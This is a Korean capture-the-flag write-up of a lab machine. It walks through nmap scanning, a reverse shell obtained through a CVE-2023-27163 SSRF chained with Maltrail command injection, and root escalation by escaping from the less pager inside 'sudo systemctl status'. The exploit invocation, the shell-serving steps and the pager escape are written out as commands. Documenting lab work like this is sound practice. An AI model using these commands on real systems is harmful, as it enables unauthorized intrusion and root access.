Reconnaissance
nmap -p-10000 -sV 10.129.229.26
nmap --script=default 10.129.229.26
- 첫스캔때는 22, 80, 8338번 포트를 확인했으나 80, 8338번이 열려있지 않았다.
- 그래서 script 스캔을 수행해보았더니 열린 55555번 포트를 확인하였다.
- http request를 담는 Basket 같은 웹서비스가 실행되고 있었다.
- 조금 둘러보다보니 좌측 하단에 서비스이름과 버전정보가 적혀있었고, CVE의 존재를 확인하였다.
Exploitation
python -m http.server 80
python exploit.py -t 10.129.229.26 -p 55555 -b sauu --local-ip 10.10.15.20 --local-port 80 --payload-file shell.sh
- CVE-2023-27163 github poc코드를 주소만 수정하여 실행하였더니 손쉽게 쉘을 얻어낼 수 있었다.
- (나중에 안 사실인데 원래 27163은 ssrf만 있는 cve였고, 밑에 maltrail의 command injection 취약점과 엮여서 rce가 가능했다, 이건 그걸 합쳐놓은 poc코드였음)
Privilege Escalation
sudo -l
- 권한상승을 위해 sudo -l을 사용해보았고 바로 단서를 찾을 수 있었다.
sudo /usr/bin/systemctl status trail.service 명령어를 root 권한으로 실행할 수 있다.
sudo /usr/bin/systemctl status trail.service
ss -tln
curl 127.0.0.1:8338
- 서버에서 어떤 서비스가 돌고있는지 확인해봤더니 8338포트에 웹서비스가 하나 실행되고 있었다.
- 아까 sudo 권한때 실행중이던 Maltrail 웹서비스였고, 버전정보가 명시되어 있었다.
python3 10.10.15.20 5555 127.0.0.1
- 성공은 했는데 똑같은 계정으로 웹서비스를 실행중이어서 틀린 방향이었다.
- 계속 헤매다가 권한상승부분 쪽의 guide mode를 참고하였더니 systemd의 버전을 묻고 있었다.
systemd --version
- systemd 245 버전이었다. (
systemctl --version 을 해봤으면 됐을거같다 ) - systemd : 실제로 돌아가는 init 시스템 (프로세스)
- systemctl : systemd에게 명령 내리는 CLI 도구
- 이를 검색하니 어렵지않게 로컬 권한상승 CVE를 찾을 수 있었다.
python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo /usr/bin/systemctl status trail.service
!id
- 먼저 fully tty를 얻어준 후에 sudo systemctl 명령어를 사용하게 되면 ‘더보기’ 같은 기능이 나오는데 이때 !id를 쳐주게 된다면 root의 권한으로 명령어를 실행할 수 있게된다.
- 원리는 간단하게 systemctl 내부에서 less가 실행될때 권한이 고스란이 상속되기 때문에 이런 문제가 발생했다는 것이다. ( less에서 원래 shell escape가 가능 )
Mitigation
- 취약한 버전이 돌아가지 않도록 업데이트를 충실히 하자!!